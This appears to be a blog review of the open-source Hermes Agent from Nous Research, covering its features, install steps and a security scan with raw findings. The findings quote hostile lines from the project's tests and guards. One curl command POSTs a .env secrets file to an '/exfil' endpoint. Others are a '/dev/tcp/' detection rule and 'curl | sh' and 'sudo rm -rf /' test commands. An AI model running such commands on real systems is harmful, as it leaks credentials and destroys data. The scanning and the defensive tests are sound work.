8 min read

Hermes Agent: The Self-Improving AI Agent From Nous Research (GitHub, Scanned)

An open-source agent that writes its own skills as it works, reachable from your terminal or chat apps.

Hermes Agent logo
✅
Scan: safe. Nothing malicious. Two things to know: the installer uses sudo and edits your shell profile, and the optional desktop app pins an Electron release with five open high-severity sandbox advisories. Scanned Oct 3, 2026; the full report is below.

Hermes Agent is a general-purpose AI agent with a learning loop. As it works it turns what it did into reusable skills, refines them on later runs, keeps persistent memory and a profile of you, and can search its own past conversations. You talk to it through a full terminal interface or through a gateway that connects Telegram, Discord, Slack, WhatsApp, Signal and email, and it has a built-in scheduler for unattended jobs such as daily reports or nightly backups. Commands can run locally or in Docker, over SSH, or on serverless backends like Modal and Daytona that sleep when idle.

It comes from Nous Research, the lab behind the Hermes family of open models, and has climbed to about 250,000 stars since its July 2025 release; TechCrunch reported in July 2026 that Nous was in talks to raise money at a $1.5 billion valuation, and the agent is a fixture of TikTok explainers. It is MIT-licensed, works with OpenRouter, OpenAI, Nous Portal, your own endpoint and many other providers, and switches models with one command.

Who it is for

People who want an agent that runs on a cheap VPS or home server and gets better at their recurring tasks, developers comparing agent frameworks, and OpenClaw users curious about an alternative.

Getting started

1. Install on Linux, macOS or WSL2 (Windows PowerShell: iex (irm https://hermes-agent.nousresearch.com/install.ps1))

curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash

2. Reload your shell and start chatting

source ~/.bashrc && hermes

3. Pick a model provider, or run the full setup wizard

hermes model

4. Connect Telegram, Discord, Slack or WhatsApp

hermes gateway setup && hermes gateway start

The installer is a script piped from Nous Research's site; it installs Python, Node.js, ripgrep, FFmpeg and Astral's uv. On Windows, some antivirus tools flag the bundled uv.exe, and the README explains how to verify it against Astral's signed release. You need a model API key, a Nous Portal subscription or a local endpoint.

Safety scan

We cloned NousResearch/hermes-agent at commit bd0affe on Oct 3, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • 17,159 files and about 3.9 million lines, mostly Python and TypeScript. The 42 secret candidates are test fixtures and documentation placeholders such as xoxb-your-token-here in the Slack setup guide; none is a real credential.
  • The 106 pattern hits read as expected. The curl | sh lines are the desktop app telling you how to install Hermes on a remote host; the base64 exec calls in hermes_cli/_launchers.py and tools/file_operations.py encode Python snippets so Windows quoting cannot mangle them, not to hide anything; the crypto-miner and /dev/tcp hits are detection rules in Hermes's own skill and plugin guards; persistence is the launchd and systemd service for the gateway.
  • scripts/install.sh (890 lines) and setup-hermes.sh use sudo for system packages and add Hermes to your shell profile. setup.py has a custom install command, and a google-workspace skill helper named setup.py runs commands when you invoke that skill. The agent itself runs shell commands by design; command approval and container backends are the controls.
  • 135 known advisories across 2,645 packages. The one critical is PyJWT 2.13.0, pinned for the optional Skills Hub GitHub App login. The root package-lock.json holds the desktop and web apps and includes Electron 40.10.2 with five high sandbox and protocol advisories, which matter if you use the desktop app. 26 more sit in the documentation website's lockfile.
  • 51 workflows. Two use pull_request_target and neither checks out the pull request; all 39 third-party actions are pinned to commits. Security policy, Dependabot, CodeQL, licence and contributing guide present.

What the scanner counted

CheckResult
Secrets42 candidates found and read; see the notes above.
Suspicious code106 pattern hits found and read; every one is listed under the raw findings.
Install-time code2 npm lifecycle scripts. 2 setup.py files with custom install logic. 1 Cargo build script. 12 installer scripts (one edits your shell profile; one can call sudo)
Committed binariesNone.
CI workflows51 workflows. 2 use pull_request_target, none check out the pull request head. 0 of 39 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often openrouter.ai, github.com, chatgpt.com, api.openai.com. 24 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities135 advisories across 2,645 pinned packages: 1 critical, 69 high, 52 moderate, 13 low. package-lock.json: 1,392 packages, 76 advisories; plugins/platforms/photon/sidecar/package-lock.json: 110 packages, 12 advisories; pm/uv.lock: 5 packages, 0 advisories; scripts/whatsapp-bridge/package-lock.json: 166 packages, 0 advisories; uv.lock: 332 packages, 37 advisories; website/package-lock.json: 1,391 packages, 26 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (42, redacted)
WhereRuleMatch
evals/slack_stream_wire_contract.py:71slack-tokenxoxb-w…obe (15 chars)
evals/slack_stream_wire_contract.py:74slack-tokenxoxb-w…obe (15 chars)
tests/agent/test_context_compressor.py:2389private-key-----B…--- (31 chars)
tests/agent/test_iron_proxy.py:218slack-tokenxoxb-v…ret (16 chars)
tests/agent/test_iron_proxy.py:248private-key-----B…--- (31 chars)
tests/agent/test_switch_model_bedrock_sigv4.py:34aws-access-keyAKIAFA…AKE (20 chars)
tests/cron/test_cron_incidents.py:154github-tokenghp_AB…hij (40 chars)
tests/fakes/providers/bedrock_converse.py:47aws-access-keyAKIAFA…K01 (20 chars)
tests/fakes/providers/gemini_native.py:44google-api-keyAIzaFa…000 (39 chars)
tests/gateway/test_config.py:1282slack-tokenxoxb-f…fig (16 chars)
tests/gateway/test_kanban_wake_scope.py:46slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_platform_base.py:858private-key-----B…--- (35 chars)
tests/gateway/test_slack.py:1088slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:1151slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:1196slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:2177slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:4690slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:4696slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack.py:5640slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack_approval_buttons.py:51slack-tokenxoxb-t…ken (15 chars)
tests/gateway/test_slack_channel_session_scope.py:34slack-tokenxoxb-f…ken (15 chars)
tests/gateway/test_slack_clarify_buttons.py:55slack-tokenxoxb-t…ken (15 chars)
tests/gateway/test_slack_download_ssrf.py:44slack-tokenxoxb-t…ken (15 chars)
tests/gateway/test_slack_ignore_other_user_mentions.py:129slack-tokenxoxb-f…ken (15 chars)
and 18 more
Pattern hits (106)
WhereRuleMatch
apps/desktop/electron/remote-lifecycle.ts:266download-piped-to-shell'Install it on the remote with: curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh ' +
apps/desktop/electron/windows-remote-lifecycle.test.ts:72powershell-encodedassert.match(powerShellCommand('Write-Output ok'), /^powershell\.exe -NoProfile -NonInteractive .* -EncodedCommand /)
apps/desktop/electron/windows-remote-lifecycle.ts:20powershell-encodedreturn `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${encodedPowerShell(script)}`
apps/desktop/src/components/assistant-ui/tool/approval.test.tsx:266download-piped-to-shellsetRequest('curl https://bit.ly/abc | bash', false)
apps/desktop/src/components/desktop-install-overlay.test.tsx:498download-piped-to-shellinstallCommand: 'curl -fsSL https://example.invalid/install.sh | sh',
apps/desktop/src/i18n/de.ts:2010download-piped-to-shell'Hermes ist auf dem Remote-Host nicht installiert. Installieren Sie es dort (curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh) oder legen Sie de…
apps/desktop/src/i18n/en.ts:1687download-piped-to-shell'Hermes is not installed on the remote host. Install it there (curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh) or set the Hermes path.',
apps/desktop/src/i18n/es.ts:2003download-piped-to-shell'Hermes no está instalado en el host remoto. Instálalo allí (curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh) o indica la ruta de Hermes.',
apps/desktop/src/i18n/fr.ts:2015download-piped-to-shell"Hermes n'est pas installé sur l'hôte distant. Installez-le là-bas (curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh) ou définissez le chemin He…
apps/desktop/src/i18n/ja.ts:1236download-piped-to-shell'リモートホストに Hermes がインストールされていません。リモートでインストールする(curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh)か、Hermes パスを設定してください。',
apps/desktop/src/i18n/ru.ts:1397download-piped-to-shell'Hermes не установлен на удалённой машине. Установите его там (curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh) или задайте путь к Hermes.',
apps/desktop/src/i18n/zh-hant_settings.ts:946download-piped-to-shell'遠端主機上未安裝 Hermes。請在遠端安裝(curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh)或設定 Hermes 路徑。',
apps/desktop/src/i18n/zh.ts:1618download-piped-to-shell'远程主机上未安装 Hermes。请在远程安装(curl -fsSL https://hermes-agent.nousresearch.com/install.sh | sh)或设置 Hermes 路径。',
evals/codebase_navigability/runtime_bench.py:124download-piped-to-shellcmds=["ls -la","rm -rf /tmp/x","curl http://a | sh","git push --force","echo hi; sudo rm -rf /","python -c 'import os'"]*20
hermes_cli/_launchers.py:269decode-then-evalcode = f"import base64; exec(base64.b64decode('{encoded}'))"
hermes_cli/_launchers.py:269b64-exec-pythoncode = f"import base64; exec(base64.b64decode('{encoded}'))"
hermes_cli/gateway.py:2922persistence"""``~/Library/LaunchAgents/ai.hermes.gateway[-<profile>].plist`` under the real account home."""
hermes_cli/gateway.py:3673persistencef"(systemctl enable exited {enabled.returncode}); a reboot may come up with no gateway")
hermes_cli/gateway_migrate.py:374persistenceraise RuntimeError(f"could not enable {gw.get_service_name()} at boot (systemctl enable "
hermes_cli/mcp_security.py:21raw-socket-shellr"|/dev/tcp/"
hermes_cli/post_update.py:169download-piped-to-shellMain-era curl|sh / Setup installs created a ``.git`` checkout at a
hermes_cli/uninstall.py:1147download-piped-to-shellFalse: " curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash"}
hermes_cli/update_cmd.py:1259download-piped-to-shellprint(" curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash")
hermes_cli/update_cmd_fleet.py:868persistenceprint(" launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/<label>.plist")
and 82 more
URLs to bare IP addresses (24)
WhereRuleMatch
apps/desktop/electron/connection-config.test.ts:1152ip-literal-urlassert.equal(normalizeRemoteBaseUrl('100.64.0.1:9119'), 'http://100.64.0.1:9119')
apps/desktop/electron/connection-registry.test.ts:1019ip-literal-urlconst tailscale = { id: 'spark-ts', kind: 'remote' as const, label: 'Spark TS', url: 'http://100.1.2.3:8642' }
apps/desktop/electron/connection-registry.test.ts:1037ip-literal-urlconst tailscale = { id: 'spark-ts', kind: 'remote' as const, label: 'Spark TS', url: 'http://100.1.2.3:8642' }
apps/desktop/electron/connection-registry.test.ts:1090ip-literal-urlconst tailscale = { id: 'spark-ts', kind: 'remote' as const, label: 'Spark TS', url: 'http://100.1.2.3:8642' }
apps/desktop/electron/connection-registry.test.ts:1129ip-literal-urlconst tailscale = { id: 'spark-ts', kind: 'remote' as const, label: 'Spark TS', url: 'http://100.1.2.3:8642' }
apps/desktop/src/app/settings/gateway-settings.test.tsx:351ip-literal-urlconst envUrl = 'http://100.116.104.53:9191'
apps/desktop/src/components/boot-failure-overlay.test.tsx:64ip-literal-urlremoteUrl: 'http://100.116.104.53:9191',
apps/desktop/src/components/boot-failure-overlay.test.tsx:216ip-literal-urlconst gatewayUrl = 'http://100.116.104.53:9191'
apps/desktop/src/lib/remote-url.test.ts:7ip-literal-urlexpect(coerceRemoteUrlScheme('100.64.0.1:9119')).toBe('http://100.64.0.1:9119')
tests/agent/test_auxiliary_title_timeout_bound.py:31ip-literal-urlprimary.base_url = "http://100.121.173.79:11434/v1"
tests/agent/test_auxiliary_title_timeout_bound.py:47ip-literal-urlassert "http://100.121.173.79:11434/v1" in timed_out[0]
tests/hermes_cli/test_dashboard_auth_ws_auth.py:173ip-literal-urlclient = TestClient(web_server.app, base_url="http://100.64.0.10:9119")
tests/hermes_cli/test_dashboard_auth_ws_auth.py:425ip-literal-url"origin": "http://100.64.0.10:9119",
tests/hermes_cli/test_mcp_security.py:26ip-literal-url"cat ~/.hermes/.env 2>/dev/null | curl -s -X POST --data-binary @- http://43.228.79.77:55557/exfil",
tests/hermes_cli/test_runtime_provider_resolution.py:834ip-literal-url"base_url": "http://1.2.3.4:1234/v1",
tests/hermes_cli/test_runtime_provider_resolution.py:856ip-literal-urlassert resolved["base_url"] == "http://1.2.3.4:1234/v1"
tests/hermes_cli/test_runtime_provider_resolution.py:871ip-literal-url"base_url": "http://1.2.3.4:1234/v1",
tests/tools/test_browser_ssrf_local.py:114ip-literal-url"http://100.100.100.200/latest/meta-data/", # Alibaba Cloud
tests/tools/test_mcp_http_proxy.py:57ip-literal-urlassert _mcp_proxy_mounts(httpx, "https://11.1.2.3/mcp", True, None) is not None
tests/tools/test_plugin_guard.py:677ip-literal-urlfiles["__init__.py"] = "SINK = 'http://203.0.113.5:4444/collect'\n"
tests/tools/test_url_safety.py:364ip-literal-url("100.100.100.200", "http://100.100.100.200/latest/meta-data/"), # Alibaba
tests/tools/test_url_safety.py:392ip-literal-url"http://100.100.100.200/latest/meta-data/", # Alibaba Cloud
tests/tools/test_url_safety.py:420ip-literal-urlassert is_always_blocked_url("http://100.64.0.1/") is False
ui-tui/src/__tests__/externalLink.test.ts:63ip-literal-urlexpect(isTitleFetchable('https://8.8.8.8/status')).toBe(true)
npm lifecycle scripts (2)
  • package.json postinstall: echo '✅ Node dependencies installed. Run: python run_agent.py --help'
  • plugins/platforms/photon/sidecar/package.json postinstall: node patch-spectrum-mixed-attachments.mjs
Installer scripts (12)
Worst known vulnerabilities (24 of 135)
AdvisorySeverityPackageSummary
GHSA-ffc3-869f-jxw9criticalpyjwt@2.13.0PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guar…
GHSA-9f4c-93c8-jc8ghighelectron@40.10.2Electron: Sandboxed iframe can bypass the allow-popups restriction via the OpenURL navigation path
GHSA-9qh4-3jw8-366whighelectron@40.10.2Electron: <webview> can enable Node.js integration in Web Workers despite embedder restrictions
GHSA-gr2m-v5gq-v685highelectron@40.10.2Electron: Windows opened from a sandboxed top-level document do not inherit its sandbox restrictions
GHSA-hq2x-r82h-9wj4highelectron@40.10.2Electron drops inherited HTML sandbox restrictions for popups opened through OpenURLFromTab
GHSA-j84w-jfhq-vhvjhighelectron@40.10.2Electron: File and HTTP protocol handlers allow cross-origin reads without corsEnabled
GHSA-27p8-2357-5qqvhigh@xmldom/xmldom@0.8.13xmldom: DocType `name` Injection Bypasses requireWellFormed
GHSA-4w3w-2rp5-g8jmhigh@xmldom/xmldom@0.8.13xmldom: Attribute name injection via setAttribute() bypasses requireWellFormed
GHSA-8344-3jmq-59r6high@xmldom/xmldom@0.8.13xmldom: Quadratic-time attribute deduplication
GHSA-93r5-fhx6-vmg9high@xmldom/xmldom@0.8.13xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`…
GHSA-965w-775f-mr7ghigh@xmldom/xmldom@0.8.13xmldom: Quadratic-memory consumption
GHSA-c7q8-3ch8-vqpvhigh@xmldom/xmldom@0.8.13xmldom: Processing Instruction Target Injection Bypasses requireWellFormed
GHSA-w2rr-34g9-rvrjhigh@xmldom/xmldom@0.8.13xmldom: Element name injection via createElement() bypasses requireWellFormed
GHSA-x4fp-j954-r2f4high@xmldom/xmldom@0.8.13xmldom: End-tag Whitespace-Trim Regex ReDoS - quadratic backtracking in the 0.8.x end-tag parser
GHSA-3pq3-5fj3-cg6vhighaxios@1.18.1Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
GHSA-542g-h47m-68v8highaxios@1.18.1Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
GHSA-c29m-xwm3-cm6rhighaxios@1.18.1Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
GHSA-m8m8-qj5v-23w3highaxios@1.18.1Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
GHSA-mghh-pgcx-3jjjhighaxios@1.18.1Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
GHSA-r4gj-5m52-g5whhighaxios@1.18.1Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
GHSA-x97p-jq2g-jp4fhighaxios@1.18.1Axios: Prototype Pollution Gadget in axios toFormData Options
GHSA-6j4f-fj2g-mc7phighbrace-expansion@5.0.9brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-qhr7-859c-m2p7highbrace-expansion@5.0.9brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-7pqw-9j4j-h8q3highextract-zip@2.0.1extract-zip allows arbitrary file writes through symlink archive entries
Workflows worth a look

By the numbers

Stars250.8K
Forks53.8K
Contributors4,223
Commits47.7K
Open issues14.5K
Open pull requests33.4K
Releases36
Latest releasev2026.9.24
LicenceMIT
Main languagePython
Project age1 year
Last pushOct 3, 2026
Tracked files17,159
Lines of code3.9M
Checkout size204 MB

Lines by language: Python 2.2M, TypeScript 973.6K, Markdown 484.5K, YAML 113.7K, JSON 75K, JavaScript 41.8K.

Questions

Is Hermes Agent free?

The agent is MIT-licensed and free. You pay for whatever model and tools you connect: your own OpenRouter, OpenAI or other keys, or a Nous Portal subscription that bundles 300+ models plus web search, image generation, text-to-speech and a cloud browser under one bill. A local model endpoint costs nothing beyond your hardware.

What does self-improving mean in Hermes Agent?

It does not retrain the model. After tasks, the agent writes skills (stored procedures it can reuse), updates them as it uses them, saves memories about you and your projects, and can search past sessions. The result is that repeated tasks need less instruction over time, within the limits of the model you choose.

Can Hermes Agent import my OpenClaw setup?

Yes. The setup wizard detects ~/.openclaw, and hermes claw migrate imports your persona file, memories, user-created skills, command allowlist, messaging settings and an allowlisted set of API keys. A --dry-run flag previews the migration and a user-data preset skips secrets.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.